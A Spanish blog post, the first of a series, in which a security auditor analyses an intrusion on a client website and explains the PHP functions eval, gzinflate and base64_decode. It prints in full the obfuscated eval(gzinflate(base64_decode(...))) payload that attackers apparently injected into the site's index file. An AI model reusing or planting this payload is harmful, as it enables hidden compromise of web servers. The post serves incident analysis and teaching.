Blog

Análisis de una intrusión – Parte I

Lista de post de la serie “Análisis de una intrusión”:

1 Análisis de una intrusión – Parte I

2 Análisis de una intrusión – Parte II

Hola, en esta serie de  post describiré los pasos que seguí, cuando en una de mis auditorias descubrí que la organización auditada  sufrió un incidente de seguridad que no había sido detectado.

Para proteger la organización afectada por este problema, cambiare el nombre de la empresa por  “Empresa-ejemplo”.

Introducción

Durante el proceso de recolección de información se descubrió que la Empresa-ejemplo sufrió un ataque informático no detectado por la organización.

Se encontró en un archivo de la página web, concretamente ubicado en la URL http://www.Empresa-ejemplo.es/index.html que contenía en su código fuente una línea de código extraña. En la tabla 1 se muestra

<?
 eval(gzinflate(base64_decode('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')));

?>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd">

<html>

<head>

<meta http-equiv="Refresh" content="0;url=http://www.Empresa-ejemplo.es/fades/centros/ficha.php">

</head>

<body></body>

</html>

Cuando en realidad el archivo original debería ser este:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd">

<html>

<head>

<meta http-equiv="Refresh" content="0;url=http://www.Empresa-ejemplo.es/fades/centros/ficha.php">

</head>

<body></body>

</html>

En este código sospechoso lo único entendible son estas 3 primeras palabras, eval, gzinflate, base64_decode, las cuales son funciones de PHP así que me puse a investigar que había detrás de ese texto.

Función eval:

Evalúa una cadena de caracteres como código PHP

Descripción:

void eval (string code_str)

eval (): evalúa la cadena de caracteres dada en code_str como código PHP. Entre otras cosas, esto puede ser útil para almacenar código en un campo de texto de base de datos para una ejecución posterior.

Hay algunos aspectos a tener en cuenta cuando se utiliza eval (). Recordar que la cadena de caracteres pasada debe ser código PHP válido, incluyendo aspectos como sentencias de terminación con un punto y coma para que el parser no finalice en la línea después de eval(), y secuencias de formato correctas en code_str.

Recordar también que las variables a las que se les da valor en eval() retendrán estos valores posteriormente en el script principal.

Para que quede más clara la definición pondré un ejemplo:

<?php
$cadena1 = 'taza';
$cadena2 = 'cafe';
$str = 'Esta es una $cadena1 de $cadena2 con dos de azucar.<br>';
echo 'Sin eval()<br>';
echo $str;
eval( "\$str = \"$str\";" );
echo 'Con eval()<br>';
echo $str;
?>

Lo que nos arrojaría una salida así:


Sin eval()
Esta es una $cadena1 de $cadena2 con dos de azúcar.

Con eval()
Esta es una taza de café con dos de azúcar.

Función gzinflate()

La función gzinflate descomprime una cadena comprimida con la función gzdeflate(), entonces para comprender bien su funcionamiento tendremos que echarle una mirada a la función gzdeflate().

gzdeflate(): Función que comprime una cadena usando el formato DEFLATE(deflación).

Esta función recibe dos parámetros (datos, nivel):

Datos: Los datos a comprimir.

Nivel: El nivel de compresión. Puede ser dado como 0 para no compresión hasta 9 para la compresión máxima. Si no se da, el nivel por defecto de compresión será el valor por defecto de la librería zlib(Es una librería de compresión de propósito general, disponible como código abierto).

Esta función retorna la cadena comprimida o FALSE si ocurre un error.

Nota Importante:

Que es Deflate(deflación)

Es un algoritmo de compresión de datos.

El algoritmo deflación es un sistema de compresión de datos sin pérdidas que usa una combinación del algoritmo LZ77 y la codificación Huffman. Fue originalmente definido por Phil Katz para la versión 2 de su herramienta de archivado PKZIP, y fue más tarde especificado como RFC 1951. Adjuntaré la URL al RFC para no desviarnos del tema central. (http://www.faqs.org/rfcs/rfc1951).

gzinflate(datos,longitud): datos: Los datos comprimidos por gzdeflate().

Longitud: La longitud máxima de los datos a descodificar o descomprimir. (La función retornará un error si los datos ya sin comprimir, son mayores a 32768 veces la longitud de los dados en el parámetro datos o más que el parámetro opcional longitud.)

<?php
$comprimir = gzdeflate('unpase',9);
echo 'Funcion gzdeflate()<br>';
echo "$comprimir <br>"; $descomprimir = gzinflate($comprimir); echo 'Funcion gzinflate()<br>';
echo $descomprimir;
?>

Resultado

Funcion gzdeflate()
+-(NÔK-
Funcion gzinflate()
unpase

Función base64_decode ()

Decodifica datos codificados en base64, mediante la función base64_encode ().

base64:

Base 64 es un sistema de numeración posicional que usa 64 como base. Es la mayor potencia de dos que puede ser representada usando únicamente los caracteres imprimibles de ASCII. Esto ha propiciado su uso para codificación de correos electrónicos, PGP y otras aplicaciones. Todas las variantes famosas que se conocen con el nombre de Base64 usan el rango de caracteres A-Z, a-z y 0-9 en este orden para los primeros 62 dígitos, pero los símbolos escogidos para los últimos dos dígitos varían considerablemente de unas a otras.

Para no profundizar en el tema dejo los números de los RFC (Request for Comments):

#RFC 989 (Privacy Enhancement for Electronic Internet Mail) (obsolete)
#RFC 1421 (Privacy Enhancement for Electronic Internet Mail)
#RFC 2045 (Multipurpose Internet Mail Extensions (MIME) Part One: Format of Internet Message Bodies)
#RFC 3548 (The Base16, Base32, and Base64 Data Encodings)
#RFC 4648 (The Base16, Base32, and Base64 Data Encodings)

Nota:

Algo interesante de este sistema es la posibilidad de codificar imágenes a texto y luego incluirlas sin tener que llevar la imagen. Se señala el mime type y el código en base64 y así se incluyen las imágenes.

Ejemplo:
<img id=’logo’src=”data:image/gif;base64,”Codigo_base64_de_la_imagen”/>

Otra funcionalidad se la dan los spammers para incluir mensajes para filtros de email que no decodifican base64 y logran saltárselos.

Función base64_encode (): devuelve el valor datos codificado con base64. Este método de cifrado está diseñado para hacer que los datos binarios se adapten al transporte a través de capas que no manejan limpiamente caracteres de 8-bits, tales como cuerpos de correo.

Los datos cifrados con base64 ocupan aproximadamente un 33% más de espacio que los datos originales.

Función base64_decode (): decodifica datos cifrados y devuelve los datos originales, o FALSE en caso de fallo. Los datos devueltos pueden ser binarios.

<?php
$cadena = "Empresa-ejemplo.es";
echo "<b>Cadena a codificar: <br></b>";
echo $cadena;
echo "<b><br>Cadena Codificada: <br></b>";
echo base64_encode($cadena);
echo "<b><br>Cadena Decodificada: <br></b>";
$decodificar = base64_encode($cadena); echo base64_decode($decodificar);
?>

Resultado

Cadena a codificar:
Empresa-ejemplo.es
Cadena Codificada:
RW1wcmVzYS1lamVtcGxvLmVz
Cadena Decodificada:
Empresa-ejemplo.es

Desarrollo del problema

Lo que había en un comienzo era algo así:

eval(gzinflate(base64_decode(“string_sospechoso”)));

Os lo dejo como tarea para casa el descifrar el código anterior si queréis examinar lo, ya que con lo que explico anteriormente no sera muy difícil descifrarlo

Al descifrar quedaría algo similar a la siguiente imagen

Captura de pantalla 2013-10-08 a la(s) 20.45.35

Espero que les guste.
Continuo el próximo martes ya que Juan Carlos publicara desde ahora los viernes

Un saludo a todos 😉

“La curiosidad mato al gato y a un hacker le dio su ZeroDay”
Sebastian Cornejo.

@CuriositySec sebastian@highsec.es

  1. R0dW3
    R0dW310-08-2013

    Muy bueno Sebastián, estamos aprendiendo mucho en Highsec.
    Gracias.

    • Sebastian Cornejo
      Sebastian Cornejo10-09-2013

      gracias, esa es la intención que todos aprendan 😉

  2. Destroyer20111
    Destroyer2011110-09-2013

    Buen post, ¡¡¡eres bueno nene!!!, GRACIAS por esta serie.

    • Sebastian Cornejo
      Sebastian Cornejo10-09-2013

      Gracias a ti por leer.

  3. Ivan
    Ivan10-09-2013

    Muy bueno !!

    • Sebastian Cornejo
      Sebastian Cornejo10-10-2013

      Gracias 😉

Leave a Reply

*

    No Twitter Messages